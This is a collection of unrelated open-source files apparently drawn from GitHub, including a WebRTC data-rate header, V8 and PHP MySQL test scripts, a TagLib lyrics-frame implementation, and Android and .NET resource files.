var loader:Loader = new Loader();
loader.contentLoaderInfo.addEventListener(Event.COMPLETE, imageLoaded);
try { loader.loadBytes(data) } catch (e:*) {}
}
});
}
return null;
}
private function makeThumbnail(bm:BitmapData):BitmapData {
const tnWidth:int = 120;
const tnHeight:int = 90;
var result:BitmapData = new BitmapData(tnWidth, tnHeight, true, 0);
if ((bm.width == 0) || (bm.height == 0)) return result;
var scale:Number = Math.min(tnWidth/ bm.width, tnHeight / bm.height);
var m:Matrix = new Matrix();
m.scale(scale, scale);
m.translate((tnWidth - (scale * bm.width)) / 2, (tnHeight - (scale * bm.height)) / 2);
result.draw(bm, m);
return result;
}
// -----------------------------
// Translation Support
//------------------------------
public function getLanguageList():Array
{
var obj:Object = getLangObj();
var result:Array = []
for(var key:String in obj){
result.push([key, obj[key]["Language-Name"]]);
}
result.sortOn("0", Array.DESCENDING);
result.unshift(['en', 'English']);
return result;
}
public function getPOFile(lang:String):Object
{
var obj:Object = getLangObj();
return obj[lang];
/*
var file:File = ApplicationManager.sharedManager().documents.resolvePath("mBlock/locale");
var bytes:ByteArray;
if(file.exists){
bytes = fetchAsset(file.url+"/"+ lang +'.po');
}else{
bytes = fetchAsset('locale/' + lang + '.po');
}
return bytes;
*/
}
[Embed(source="/locale/locale.xlsx", mimeType="application/octet-stream")]
static private const LANG_CLS:Class;
static private function getLangObj():Object
{
var bytes:ByteArray = new LANG_CLS();
var list:Array = Excel.Parse(bytes);
return CsvReader.ReadDict(list[0]);
}
/*
public function getSelectedLang(whenDone:Function):void {
// Get the language setting.
if (SharedObjectManager.sharedManager().available("lang")){
whenDone(SharedObjectManager.sharedManager().getObject("lang"));
}
}
public function setSelectedLang(lang:String):void {
// Record the language setting.
if (!Boolean(lang)){
lang = 'en';
}
SharedObjectManager.sharedManager().setObject("lang", lang);
}
*/
}}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2018 The WebRTC project authors. All Rights Reserved.
*
* Use of this source code is governed by a BSD-style license
* that can be found in the LICENSE file in the root of the source
* tree. An additional intellectual property rights grant can be found
* in the file PATENTS. All contributing project authors may
* be found in the AUTHORS file in the root of the source tree.
*/
#ifndef API_UNITS_DATA_RATE_H_
#define API_UNITS_DATA_RATE_H_
#include <stdint.h>
#include <cmath>
#include <limits>
#include <string>
#include "rtc_base/checks.h"
#include "rtc_base/numerics/safe_conversions.h"
#include "api/units/data_size.h"
#include "api/units/time_delta.h"
namespace webrtc {
namespace data_rate_impl {
constexpr int64_t kPlusInfinityVal = std::numeric_limits<int64_t>::max();
inline int64_t Microbits(const DataSize& size) {
constexpr int64_t kMaxBeforeConversion =
std::numeric_limits<int64_t>::max() / 8000000;
RTC_DCHECK_LE(size.bytes(), kMaxBeforeConversion)
<< "size is too large to be expressed in microbytes";
return size.bytes() * 8000000;
}
} // namespace data_rate_impl
// DataRate is a class that represents a given data rate. This can be used to
// represent bandwidth, encoding bitrate, etc. The internal storage is bits per
// second (bps).
class DataRate {
public:
DataRate() = delete;
static constexpr DataRate Zero() { return DataRate(0); }
static constexpr DataRate Infinity() {
return DataRate(data_rate_impl::kPlusInfinityVal);
}
template <int64_t bps>
static constexpr DataRate BitsPerSec() {
static_assert(bps >= 0, "");
static_assert(bps < data_rate_impl::kPlusInfinityVal, "");
return DataRate(bps);
}
template <int64_t kbps>
static constexpr DataRate KilobitsPerSec() {
static_assert(kbps >= 0, "");
static_assert(kbps < data_rate_impl::kPlusInfinityVal / 1000, "");
return DataRate(kbps * 1000);
}
template <
typename T,
typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
static DataRate bps(T bits_per_second) {
RTC_DCHECK_GE(bits_per_second, 0);
RTC_DCHECK_LT(bits_per_second, data_rate_impl::kPlusInfinityVal);
return DataRate(rtc::dchecked_cast<int64_t>(bits_per_second));
}
template <
typename T,
typename std::enable_if<std::is_integral<T>::value>::type* = nullptr>
static DataRate kbps(T kilobits_per_sec) {
RTC_DCHECK_GE(kilobits_per_sec, 0);
RTC_DCHECK_LT(kilobits_per_sec, data_rate_impl::kPlusInfinityVal / 1000);
return DataRate::bps(rtc::dchecked_cast<int64_t>(kilobits_per_sec) * 1000);
}
template <typename T,
typename std::enable_if<std::is_floating_point<T>::value>::type* =
nullptr>
static DataRate bps(T bits_per_second) {
if (bits_per_second == std::numeric_limits<T>::infinity()) {
return Infinity();
} else {
RTC_DCHECK(!std::isnan(bits_per_second));
RTC_DCHECK_GE(bits_per_second, 0);
RTC_DCHECK_LT(bits_per_second, data_rate_impl::kPlusInfinityVal);
return DataRate(rtc::dchecked_cast<int64_t>(bits_per_second));
}
}
template <typename T,
typename std::enable_if<std::is_floating_point<T>::value>::type* =
nullptr>
static DataRate kbps(T kilobits_per_sec) {
return DataRate::bps(kilobits_per_sec * 1e3);
}
template <typename T = int64_t>
typename std::enable_if<std::is_integral<T>::value, T>::type bps() const {
RTC_DCHECK(IsFinite());
return rtc::dchecked_cast<T>(bits_per_sec_);
}
template <typename T = int64_t>
typename std::enable_if<std::is_integral<T>::value, T>::type kbps() const {
RTC_DCHECK(IsFinite());
return rtc::dchecked_cast<T>(UnsafeKilobitsPerSec());
}
template <typename T>
typename std::enable_if<std::is_floating_point<T>::value,
T>::type constexpr bps() const {
return IsInfinite() ? std::numeric_limits<T>::infinity() : bits_per_sec_;
}
template <typename T>
typename std::enable_if<std::is_floating_point<T>::value,
T>::type constexpr kbps() const {
return bps<T>() * 1e-3;
}
constexpr int64_t bps_or(int64_t fallback_value) const {
return IsFinite() ? bits_per_sec_ : fallback_value;
}
constexpr int64_t kbps_or(int64_t fallback_value) const {
return IsFinite() ? UnsafeKilobitsPerSec() : fallback_value;
}
constexpr bool IsZero() const { return bits_per_sec_ == 0; }
constexpr bool IsInfinite() const {
return bits_per_sec_ == data_rate_impl::kPlusInfinityVal;
}
constexpr bool IsFinite() const { return !IsInfinite(); }
constexpr double operator/(const DataRate& other) const {
return bps<double>() / other.bps<double>();
}
constexpr bool operator==(const DataRate& other) const {
return bits_per_sec_ == other.bits_per_sec_;
}
constexpr bool operator!=(const DataRate& other) const {
return bits_per_sec_ != other.bits_per_sec_;
}
constexpr bool operator<=(const DataRate& other) const {
return bits_per_sec_ <= other.bits_per_sec_;
}
constexpr bool operator>=(const DataRate& other) const {
return bits_per_sec_ >= other.bits_per_sec_;
}
constexpr bool operator>(const DataRate& other) const {
return bits_per_sec_ > other.bits_per_sec_;
}
constexpr bool operator<(const DataRate& other) const {
return bits_per_sec_ < other.bits_per_sec_;
}
private:
// Bits per second used internally to simplify debugging by making the value
// more recognizable.
explicit constexpr DataRate(int64_t bits_per_second)
: bits_per_sec_(bits_per_second) {}
constexpr int64_t UnsafeKilobitsPerSec() const {
return (bits_per_sec_ + 500) / 1000;
}
int64_t bits_per_sec_;
};
inline DataRate operator*(const DataRate& rate, const double& scalar) {
return DataRate::bps(std::round(rate.bps() * scalar));
}
inline DataRate operator*(const double& scalar, const DataRate& rate) {
return rate * scalar;
}
inline DataRate operator*(const DataRate& rate, const int64_t& scalar) {
return DataRate::bps(rate.bps() * scalar);
}
inline DataRate operator*(const int64_t& scalar, const DataRate& rate) {
return rate * scalar;
}
inline DataRate operator*(const DataRate& rate, const int32_t& scalar) {
return DataRate::bps(rate.bps() * scalar);
}
inline DataRate operator*(const int32_t& scalar, const DataRate& rate) {
return rate * scalar;
}
inline DataRate operator/(const DataSize& size, const TimeDelta& duration) {
return DataRate::bps(data_rate_impl::Microbits(size) / duration.us());
}
inline TimeDelta operator/(const DataSize& size, const DataRate& rate) {
return TimeDelta::us(data_rate_impl::Microbits(size) / rate.bps());
}
inline DataSize operator*(const DataRate& rate, const TimeDelta& duration) {
int64_t microbits = rate.bps() * duration.us();
return DataSize::bytes((microbits + 4000000) / 8000000);
}
inline DataSize operator*(const TimeDelta& duration, const DataRate& rate) {
return rate * duration;
}
std::string ToString(const DataRate& value);
} // namespace webrtc
#endif // API_UNITS_DATA_RATE_H_
| {
"pile_set_name": "Github"
} |
// Copyright 2012 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following
// disclaimer in the documentation and/or other materials provided
// with the distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
// Flags: --stack-size=100
function overflow() {
var a, b, c, d, e; // Allocates some locals on the function's stack frame.
overflow();
}
function rec1(a) { rec1(a+1); }
function rec2(a) { rec3(a+1); }
function rec3(a) { rec2(a+1); }
// Test stack trace has correct function location at top of the stack.
try {
overflow();
} catch (e) {
var first_frame = e.stack.split("\n")[1]
// The overflow can happen when pushing the arguments (in interpreter) or when
// the new function execution is starting. So the stack trace could either
// point to start of the function (stack-traces-overflow.js30:18) or to the
// location of call (stack-traces-overflow.js32:3).
assertTrue((first_frame.indexOf("stack-traces-overflow.js:30:18") > 0) ||
(first_frame.indexOf("stack-traces-overflow.js:32:3") > 0) );
}
// Test stack trace getter and setter.
try {
rec1(0);
} catch (e) {
assertTrue(e.stack.indexOf("rec1") > 0);
e.stack = "123";
assertEquals("123", e.stack);
}
// Test setter w/o calling the getter.
try {
rec2(0);
} catch (e) {
assertTrue(e.stack.indexOf("rec2") > 0);
assertTrue(e.stack.indexOf("rec3") > 0);
e.stack = "123";
assertEquals("123", e.stack);
}
// Test getter to make sure setter does not affect the boilerplate.
try {
rec1(0);
} catch (e) {
assertTrue(e.stack.indexOf("rec1") > 0);
assertInstanceof(e, RangeError);
}
// Check setting/getting stack property on the prototype chain.
function testErrorPrototype(prototype) {
var object = {};
object.__proto__ = prototype;
object.stack = "123"; // Overwriting stack property succeeds.
assertTrue(prototype.stack != object.stack);
assertEquals("123", object.stack);
}
try {
rec1(0);
} catch (e) {
e.stack;
testErrorPrototype(e);
}
try {
rec1(0);
} catch (e) {
testErrorPrototype(e);
}
try {
throw new Error();
} catch (e) {
testErrorPrototype(e);
}
Error.stackTraceLimit = 3;
try {
rec1(0);
} catch (e) {
assertEquals(4, e.stack.split('\n').length);
}
Error.stackTraceLimit = 25.9;
try {
rec1(0);
} catch (e) {
assertEquals(26, e.stack.split('\n').length);
}
Error.stackTraceLimit = NaN;
try {
rec1(0);
} catch (e) {
assertEquals(1, e.stack.split('\n').length);
}
// A limit outside the range of integers.
Error.stackTraceLimit = 1e12;
try {
rec1(0);
} catch (e) {
assertTrue(e.stack.split('\n').length > 100);
}
Error.stackTraceLimit = Infinity;
try {
rec1(0);
} catch (e) {
assertTrue(e.stack.split('\n').length > 100);
}
Error.stackTraceLimit = "not a number";
try {
rec1(0);
} catch (e) {
assertEquals(undefined, e.stack);
e.stack = "abc";
assertEquals("abc", e.stack);
}
Error.stackTraceLimit = 3;
Error = ""; // Overwrite Error in the global object.
try {
rec1(0);
} catch (e) {
assertEquals(4, e.stack.split('\n').length);
}
| {
"pile_set_name": "Github"
} |
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
package org.apache.apex.malhar.kafka;
public class KafkaConsumerPropertiesTest extends AbstractKafkaConsumerPropertiesTest
{
@Override
public AbstractKafkaInputOperator createKafkaInputOperator()
{
return new KafkaSinglePortInputOperator();
}
@Override
public String expectedException()
{
return new String("java.lang.IllegalArgumentException: You must pass java.security.auth.login.config in "
+ "secure mode.");
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2000, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation. Oracle designates this
* particular file as subject to the "Classpath" exception as provided
* by Oracle in the LICENSE file that accompanied this code.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
package com.sun.jndi.dns;
import javax.naming.*;
/**
* A name parser for DNS names.
*
* @author Scott Seligman
*/
class DnsNameParser implements NameParser {
public Name parse(String name) throws NamingException {
return new DnsName(name);
}
// Every DnsNameParser is created equal.
public boolean equals(Object obj) {
return (obj instanceof DnsNameParser);
}
public int hashCode() {
return DnsNameParser.class.hashCode() + 1;
}
}
| {
"pile_set_name": "Github"
} |
/***************************************************************************
copyright : (C) 2002 - 2008 by Scott Wheeler
email : [email protected]
copyright : (C) 2006 by Urs Fleisch
email : [email protected]
***************************************************************************/
/***************************************************************************
* This library is free software; you can redistribute it and/or modify *
* it under the terms of the GNU Lesser General Public License version *
* 2.1 as published by the Free Software Foundation. *
* *
* This library is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *
* Lesser General Public License for more details. *
* *
* You should have received a copy of the GNU Lesser General Public *
* License along with this library; if not, write to the Free Software *
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA *
* 02110-1301 USA *
* *
* Alternatively, this file is available under the Mozilla Public *
* License Version 1.1. You may obtain a copy of the License at *
* http://www.mozilla.org/MPL/ *
***************************************************************************/
#include "unsynchronizedlyricsframe.h"
#include <tbytevectorlist.h>
#include <id3v2tag.h>
#include <tdebug.h>
#include <tpropertymap.h>
using namespace TagLib;
using namespace ID3v2;
class UnsynchronizedLyricsFrame::UnsynchronizedLyricsFramePrivate
{
public:
UnsynchronizedLyricsFramePrivate() : textEncoding(String::Latin1) {}
String::Type textEncoding;
ByteVector language;
String description;
String text;
};
////////////////////////////////////////////////////////////////////////////////
// public members
////////////////////////////////////////////////////////////////////////////////
UnsynchronizedLyricsFrame::UnsynchronizedLyricsFrame(String::Type encoding) :
Frame("USLT"),
d(new UnsynchronizedLyricsFramePrivate())
{
d->textEncoding = encoding;
}
UnsynchronizedLyricsFrame::UnsynchronizedLyricsFrame(const ByteVector &data) :
Frame(data),
d(new UnsynchronizedLyricsFramePrivate())
{
setData(data);
}
UnsynchronizedLyricsFrame::~UnsynchronizedLyricsFrame()
{
delete d;
}
String UnsynchronizedLyricsFrame::toString() const
{
return d->text;
}
ByteVector UnsynchronizedLyricsFrame::language() const
{
return d->language;
}
String UnsynchronizedLyricsFrame::description() const
{
return d->description;
}
String UnsynchronizedLyricsFrame::text() const
{
return d->text;
}
void UnsynchronizedLyricsFrame::setLanguage(const ByteVector &languageEncoding)
{
d->language = languageEncoding.mid(0, 3);
}
void UnsynchronizedLyricsFrame::setDescription(const String &s)
{
d->description = s;
}
void UnsynchronizedLyricsFrame::setText(const String &s)
{
d->text = s;
}
String::Type UnsynchronizedLyricsFrame::textEncoding() const
{
return d->textEncoding;
}
void UnsynchronizedLyricsFrame::setTextEncoding(String::Type encoding)
{
d->textEncoding = encoding;
}
PropertyMap UnsynchronizedLyricsFrame::asProperties() const
{
PropertyMap map;
String key = description().upper();
if(key.isEmpty() || key == "LYRICS")
map.insert("LYRICS", text());
else
map.insert("LYRICS:" + key, text());
return map;
}
UnsynchronizedLyricsFrame *UnsynchronizedLyricsFrame::findByDescription(const ID3v2::Tag *tag, const String &d) // static
{
ID3v2::FrameList lyrics = tag->frameList("USLT");
for(ID3v2::FrameList::ConstIterator it = lyrics.begin(); it != lyrics.end(); ++it){
UnsynchronizedLyricsFrame *frame = dynamic_cast<UnsynchronizedLyricsFrame *>(*it);
if(frame && frame->description() == d)
return frame;
}
return 0;
}
////////////////////////////////////////////////////////////////////////////////
// protected members
////////////////////////////////////////////////////////////////////////////////
void UnsynchronizedLyricsFrame::parseFields(const ByteVector &data)
{
if(data.size() < 5) {
debug("An unsynchronized lyrics frame must contain at least 5 bytes.");
return;
}
d->textEncoding = String::Type(data[0]);
d->language = data.mid(1, 3);
int byteAlign
= d->textEncoding == String::Latin1 || d->textEncoding == String::UTF8 ? 1 : 2;
ByteVectorList l =
ByteVectorList::split(data.mid(4), textDelimiter(d->textEncoding), byteAlign, 2);
if(l.size() == 2) {
if(d->textEncoding == String::Latin1) {
d->description = Tag::latin1StringHandler()->parse(l.front());
d->text = Tag::latin1StringHandler()->parse(l.back());
} else {
d->description = String(l.front(), d->textEncoding);
d->text = String(l.back(), d->textEncoding);
}
}
}
ByteVector UnsynchronizedLyricsFrame::renderFields() const
{
StringList sl;
sl.append(d->description);
sl.append(d->text);
const String::Type encoding = checkTextEncoding(sl, d->textEncoding);
ByteVector v;
v.append(char(encoding));
v.append(d->language.size() == 3 ? d->language : "XXX");
v.append(d->description.data(encoding));
v.append(textDelimiter(encoding));
v.append(d->text.data(encoding));
return v;
}
////////////////////////////////////////////////////////////////////////////////
// private members
////////////////////////////////////////////////////////////////////////////////
UnsynchronizedLyricsFrame::UnsynchronizedLyricsFrame(const ByteVector &data, Header *h) :
Frame(h),
d(new UnsynchronizedLyricsFramePrivate())
{
parseFields(fieldData(data));
}
| {
"pile_set_name": "Github"
} |
--TEST--
mysql_connect()
--SKIPIF--
<?php
require_once('skipif.inc');
require_once('skipifconnectfailure.inc');
?>
--FILE--
<?php
include_once "connect.inc";
$tmp = NULL;
$link = NULL;
// mysql_connect ( [string server [, string username [, string password [, bool new_link [, int client_flags]]]]] )
if (NULL !== ($tmp = @mysql_connect($link, $link, $link, $link, $link, $link)))
printf("[001] Expecting NULL, got %s/%s\n", gettype($tmp), $tmp);
$myhost = (is_null($socket)) ? ((is_null($port)) ? $host : $host . ':' . $port) : $host . ':' . $socket;
if (!$link = mysql_connect($myhost, $user, $passwd, true))
printf("[002] Cannot connect to the server using host=%s/%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n",
$host, $myhost, $user, $db, $port, $socket);
mysql_close($link);
if (!$link = mysql_connect($myhost, $user, $passwd, true))
printf("[003] Cannot connect to the server using host=%s/%s, user=%s, passwd=***, dbname=%s, port=%s, socket=%s\n",
$host, $myhost, $user, $db, $port, $socket);
mysql_close();
if ($link = mysql_connect($myhost, $user . 'unknown_really', $passwd . 'non_empty', true))
printf("[004] Can connect to the server using host=%s/%s, user=%s, passwd=***non_empty, dbname=%s, port=%s, socket=%s\n",
$host, $myhost, $user . 'unknown_really', $db, $port, $socket);
if (false !== $link)
printf("[005] Expecting boolean/false, got %s/%s\n", gettype($link), $link);
// Run the following tests without an anoynmous MySQL user and use a password for the test user!
ini_set('mysql.default_socket', $socket);
if (!is_null($socket)) {
if (!is_resource($link = mysql_connect($host, $user, $passwd, true))) {
printf("[006] Usage of mysql.default_socket failed\n");
} else {
mysql_close($link);
}
}
if (!ini_get('sql.safe_mode')) {
ini_set('mysql.default_port', $port);
if (!is_null($port)) {
if (!is_resource($link = mysql_connect($host, $user, $passwd, true))) {
printf("[007] Usage of mysql.default_port failed\n");
} else {
mysql_close($link);
}
}
ini_set('mysql.default_password', $passwd);
if (!is_resource($link = mysql_connect($myhost, $user))) {
printf("[008] Usage of mysql.default_password failed\n");
} else {
mysql_close($link);
}
ini_set('mysql.default_user', $user);
if (!is_resource($link = mysql_connect($myhost))) {
printf("[009] Usage of mysql.default_user failed\n");
} else {
mysql_close($link);
}
ini_set('mysql.default_host', $myhost);
if (!is_resource($link = mysql_connect())) {
printf("[010] Usage of mysql.default_host failed\n") ;
} else {
mysql_close($link);
}
if (!is_resource($link = mysql_connect()) || !is_resource($link2 = mysql_connect())) {
printf("[011] Usage of mysql.default_host failed\n") ;
} else {
mysql_close();
mysql_close($link2);
}
if (!stristr(PHP_OS, 'win') && !stristr(PHP_OS, 'netware')) {
ini_set('mysql.default_port', -1);
if (putenv(sprintf('MYSQL_TCP_PORT=%d', $port))) {
if (!is_resource($link = mysql_connect())) {
printf("[012] Usage of env MYSQL_TCP_PORT failed\n") ;
} else {
mysql_close($link);
}
} else if (putenv(sprintf('MYSQL_TCP_PORT=%d', $port + 1))) {
if (!is_resource($link = mysql_connect())) {
printf("[013] Usage of env MYSQL_TCP_PORT=%d should have failed\n", $port + 1) ;
mysql_close($link);
}
}
}
}
print "done!";
?>
--EXPECTF--
Warning: mysql_connect(): Access denied for user '%s'@'%s' (using password: YES) in %s on line %d
done!
| {
"pile_set_name": "Github"
} |
#language "lang/plush/0"
var sum = 0;
var odd = true;
for (var i = 1; i < 10; i = i + 1)
{
if (i == 5)
{
print("break");
break;
}
print(i);
sum = sum + i;
}
print(sum);
assert (sum == 10);
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
android:gravity="center">
<net.simonvt.calendarview.CalendarView
android:layout_width="245dip"
android:layout_height="280dip" />
</LinearLayout>
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<data name="chkActive.ToolTip" xml:space="preserve">
<value>Active/Inactive</value>
</data>
<data name="chkActive.ToolTip1" xml:space="preserve">
<value />
</data>
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
<data name="Label13.Size" type="System.Drawing.Size, System.Drawing">
<value>51, 13</value>
</data>
<data name="Label13.Text" xml:space="preserve">
<value>Linked to</value>
</data>
<data name="Label11.Text" xml:space="preserve">
<value>Object</value>
</data>
<data name="GroupBox5.Text" xml:space="preserve">
<value>General Info</value>
</data>
<data name="GroupBox4.Text" xml:space="preserve">
<value>Notes</value>
</data>
<data name="btnConfigureFlashAlg.ToolTip" xml:space="preserve">
<value>Configure</value>
</data>
<data name="btnConfigureFlashAlg.ToolTip1" xml:space="preserve">
<value />
</data>
<data name="btnConfigurePP.ToolTip" xml:space="preserve">
<value>Configure</value>
</data>
<data name="btnConfigurePP.ToolTip1" xml:space="preserve">
<value />
</data>
<data name="Label10.Text" xml:space="preserve">
<value>Flash Algorithm</value>
</data>
<data name="Label9.Size" type="System.Drawing.Size, System.Drawing">
<value>92, 13</value>
</data>
<data name="Label9.Text" xml:space="preserve">
<value>Property Package</value>
</data>
<data name="GroupBox3.Text" xml:space="preserve">
<value>Property Package Settings</value>
</data>
<data name="rbStream2.Size" type="System.Drawing.Size, System.Drawing">
<value>98, 17</value>
</data>
<data name="rbStream2.Text" xml:space="preserve">
<value>Outlet Stream 2</value>
</data>
<data name="rbStream1.Size" type="System.Drawing.Size, System.Drawing">
<value>98, 17</value>
</data>
<data name="rbStream1.Text" xml:space="preserve">
<value>Outlet Stream 1</value>
</data>
<data name="Label8.Size" type="System.Drawing.Size, System.Drawing">
<value>156, 13</value>
</data>
<data name="Label8.Text" xml:space="preserve">
<value>Separation Factors specified for</value>
</data>
<data name="GroupBox2.Text" xml:space="preserve">
<value>Calculation Parameters</value>
</data>
<data name="btnCreateAndConnectEnergy.ToolTip" xml:space="preserve">
<value>Create and Connect</value>
</data>
<data name="btnCreateAndConnectEnergy.ToolTip1" xml:space="preserve">
<value />
</data>
<data name="btnCreateAndConnectOutlet2.ToolTip" xml:space="preserve">
<value>Create and Connect</value>
</data>
<data name="btnCreateAndConnectOutlet2.ToolTip1" xml:space="preserve">
<value />
</data>
<data name="btnCreateAndConnectOutlet1.ToolTip" xml:space="preserve">
<value>Create and Connect</value>
</data>
<data name="btnCreateAndConnectOutlet1.ToolTip1" xml:space="preserve">
<value />
</data>
<data name="btnCreateAndConnectInlet1.ToolTip" xml:space="preserve">
<value>Create and Connect</value>
</data>
<data name="btnCreateAndConnectInlet1.ToolTip1" xml:space="preserve">
<value />
</data>
<data name="btnDisconnectOutlet2.ToolTip" xml:space="preserve">
<value>Disconnect</value>
</data>
<data name="btnDisconnectOutlet2.ToolTip1" xml:space="preserve">
<value />
</data>
